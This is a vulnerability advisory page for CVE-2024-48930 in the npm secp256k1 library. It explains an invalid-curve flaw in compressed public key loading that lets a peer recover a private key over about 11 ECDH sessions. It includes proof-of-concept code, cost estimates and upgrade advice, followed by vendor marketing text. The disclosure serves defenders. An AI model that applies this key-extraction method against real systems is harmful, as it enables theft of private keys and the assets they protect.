Summary
secp256k1-node allows private key extraction over ECDH
In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L37-L39
loadCompressedPublicKey is, however, missing that check: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L17-L19
That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power
Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak
Details
The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable
Those output values correspond to remainders which can be then combined with Chinese remainder theorem to restore the original value
Endomorphism-based multiplication only slightly hinders restoration and does not affect the fact that the result is low-order
10 different malicious X values could be chosen so that the overall extracted information is 238.4 bits out of 256 bit private key, and the rest is trivially bruteforcable with an additional 11th public key (which might be valid or not -- not significant)
The attacker does not need to receive the ECDH value, they only need to be able to confirm it against a list of possible candidates, e.g. check if using it to decipher block/stream cipher would work -- and that could all be done locally on the attacker side
PoC
Example public key
This key has order 39
One of the possible outcomes for it is a throw, 38 are predictable ECDH values
Keys used in full attack have higher order (starting from ~20000), so are very unlikely to cause an error
import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'
const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')
const seen = new Set()
for (let i = 0; i < 1000; i++) {
try {
seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
} catch {
seen.add('failure also is an outcome')
}
}
console.log(seen.size) // 39
Full attack
This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:
// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'
const privateKey = randomBytes(32)
// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver
// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
assert(letMeIn instanceof Uint8Array) // true
assert(secp256k1.publicKeyVerify(letMeIn)) // true
// Returning ecdh value is not necessary but is used in this demo for simplicity
// Solver needs to _confirm_ an ecdh value against a set of precalculated known ones,
// which can be done even after it's hashed or used e.g. for a stream/block cipher, based on the encrypted data
solver.callback(secp256k1.ecdh(letMeIn, privateKey))
// Btw we have those precomputed so we can actually use those sessions to lower suspicion, most -- instantly
}
// Now, we need a single valid (or another invalid) public key to recheck things against
// It can be anything, e.g. we can specify an 11th one, or create a valid one and use it
// We'll be able to confirm/restore and use the ecdh value for this session too upon privateKey extraction
const anyPublicKey = secp256k1.publicKeyCreate(randomBytes(32))
assert(secp256k1.publicKeyVerify(anyPublicKey)) // true (obviously)
// Full complexity of this exploit requires solver to perform ~ 2^35 ecdh value checks (for all 10 keys combined),
// which is ~ 1 TiB -- that can be done offline and does not require any further interaction with the target
// The exact speed of the comparison step depends on how the ecdh values are used, but is not very significant
// Direct non-indexed linear scan over all possible (precomputed) values takes <10 minutes on a MacBook Air
// Confirming against e.g. cipher output would be somewhat slower, but still definitely possible + also could be precomputed
const extracted = solver.stab(anyPublicKey, secp256k1.ecdh(anyPublicKey, privateKey))
console.log(`Extracted private key: ${extracted.toString('hex')}`)
console.log(`Actual private key was: ${privateKey.toString('hex')}`)
assert(extracted.toString('hex') === privateKey.toString('hex'))
console.log('Oops')
Result:
Extracted private key: e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Actual private key was: e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Oops
node example.js 178.80s user 13.59s system 74% cpu 4:17.01 total
Impact
Remote private key is extracted over 11 ECDH sessions
The attack is very low-cost, precompute took a few days on a single MacBook Air, and extraction takes ~10 minutes on the same MacBook Air
Also:
publicKeyVerify()misreports malicious public keys as valid- Same affects tweak extraction from
publicKeyTweakMulresult and other public key operations
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
secp256k1 to 5.0.1 or later; secp256k1 to 4.0.4 or later; secp256k1 to 3.8.1 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-48930? CVE-2024-48930 is a high-severity security vulnerability in secp256k1 (npm), affecting versions = 5.0.0. It is fixed in 5.0.1, 4.0.4, 3.8.1.
- Which versions of secp256k1 are affected by CVE-2024-48930? secp256k1 (npm) versions = 5.0.0 is affected.
- Is there a fix for CVE-2024-48930? Yes. CVE-2024-48930 is fixed in 5.0.1, 4.0.4, 3.8.1. Upgrade to this version or later.
- Is CVE-2024-48930 exploitable, and should I be worried? Whether CVE-2024-48930 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-48930 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-48930?
- Upgrade
secp256k1to 5.0.1 or later - Upgrade
secp256k1to 4.0.4 or later - Upgrade
secp256k1to 3.8.1 or later
- Upgrade